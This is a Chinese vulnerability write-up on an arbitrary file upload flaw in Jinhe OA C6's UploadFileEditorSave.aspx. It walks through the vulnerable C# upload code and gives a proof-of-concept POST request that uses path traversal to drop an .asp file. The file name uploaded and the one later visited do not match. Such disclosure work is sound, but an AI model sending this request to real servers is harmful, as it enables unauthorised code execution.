金和OAC6UploadFileEditorSave.aspx任意文件上传漏洞

xhys121zero2025-10-27文章来源:SecHub网络安全社区


金和OAC6UploadFileEditorSave.aspx任意文件上传漏洞

代码审计

使用ctrl+shift+k进入全局搜索页面,搜索UploadFileEditorSave

202408142136812.png

进入到JHSoft.Web.CustomQuery.UploadFileEditorSave

202408142137409.png

分析:

protected void Page_Load(object sender, EventArgs e) { //获取前端传入的filename参数的值,赋值给text string text = base.Request["filename"].ToString(); //获取filename的路径 string text2 = Upload.MapFilePath(text); //将text转为小写判断是否存在slaves的字符串 if (text.ToLower().IndexOf("slaves") == -1) {//不能存在slaves的字符串 //判断文件是否已存在 if (File.Exists(text2)) { //删除上传的文件 File.Delete(text2); } //调用 Upload.NoAESRead处理上传的文件流 Upload.NoAESRead(base.Request.Files[0].InputStream, ref text2); } else {//存在slaves的字符串 //进行相关内容的替换 text2 = text2.ToLower().Replace("\\temp\\", "\\slaves\\"); //判断该文件是否已经存在 if (File.Exists(text2)) { File.Delete(text2); } // Upload.AESRead 方法处理上传的文件流。 Upload.AESRead(base.Request.Files[0].InputStream, ref text2); } this.Context.Response.End();

上述代码只是获取到对应的filname,以及该文件的路径,通过该路径判断该文件是否已经存在,之后进行文件调用相关函数进行处理

接着对NoAESRead以及AESRead方法进行分析

202408142200853.png

**分析:**这两段代码内容几乎相同,唯一的区别就是在AESRead方法中中进行了一次AESncrypt加密操作,那么我们就分析一下AESRead方法

public static void AESRead(Stream stream, ref string strFile) { //根据stream内容的长度,创建一个数组 byte[] array = new byte[(int)stream.Length]; //读取 Stream 中的所有数据到 array 字节数组中。 stream.Read(array, 0, array.Length); stream.Close(); //传入原始数据的字节数组,返回加密后的字节数组。 byte[] array2 = Upload.AESEncrypt(array); //创建一个新的 FileStream 对象,用于写入数据到文件 FileStream fileStream = new FileStream(strFile, FileMode.CreateNew, FileAccess.Write); //将加密后的字节数组 array2 写入到 fileStream 中。 fileStream.Write(array2, 0, array2.Length); //关闭文件流 fileStream.Close(); }

上述两个方法在进行文件上传的操作过程中并没有对文件名以及文件的内容进行过滤,进而导致了任意文件上传漏洞的形成

漏洞复现

poc

POST/C6/Control/UploadFileEditorSave.aspx?filename=\....\....\C6\ilra9c2tw2.asp HTTP/1.1
Host:{{Hostname}}
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:109.0)Gecko/20100101Firefox/119.0
Content-Type:multipart/form-data;boundary=----umvtqrw8etdtcatpd8vq

------umvtqrw8etdtcatpd8vq
Content-Disposition:form-data;name="file";filename="ilra9c2tw2.jpg"
Content-Type:image/png

<%response.write(333*2)%>
------umvtqrw8etdtcatpd8vq--

202408150954988.png

然后访问

http://ip:port/C6/qps4cckjuz2.asp

202408150954820.png

漏洞存在